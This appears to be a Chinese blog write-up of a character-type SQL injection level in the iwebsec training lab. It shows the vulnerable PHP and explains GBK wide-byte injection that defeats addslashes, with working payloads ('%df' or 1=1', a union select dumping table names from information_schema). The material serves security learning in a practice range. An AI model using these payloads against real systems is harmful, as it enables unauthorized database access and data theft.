iwebsec sql字符型注入

02-字符注入

打开如下:

在这里插入图片描述

分析代码:

if(isset($_GET['id'])){
	$id=addslashes($_GET['id']);
	mysql_query("SET NAMES gbk");
	$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
		$result=mysql_query($sql);
	}
	else{
		exit();
	}

addslashes 函数会对引号进行转义,使用宽字节注入即可

1%df' or 1=1%23

原理解析:

我们这里利用的是mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字节是一个汉字(前一个ascii码要大于128,才到汉字范围)

因为gbk是多字节编码,它认为两个字节代表一个字符,所以%df和后面的%5c变成了汉字 “運” ,而 ’ 逃逸了出来

mysql如何判断一个字符是不是一个汉字,根据gbk编码,第一个字节的ascii码大于128,基本上就行
在这里插入图片描述

不一定要使用 %df ,使用 a5 也可以,a5 的 ascii 大于 128

在这里插入图片描述

%a5' or 1=1%23
%a5' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563)%23 #这里的数据库名用 16 进制编码

在这里插入图片描述

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值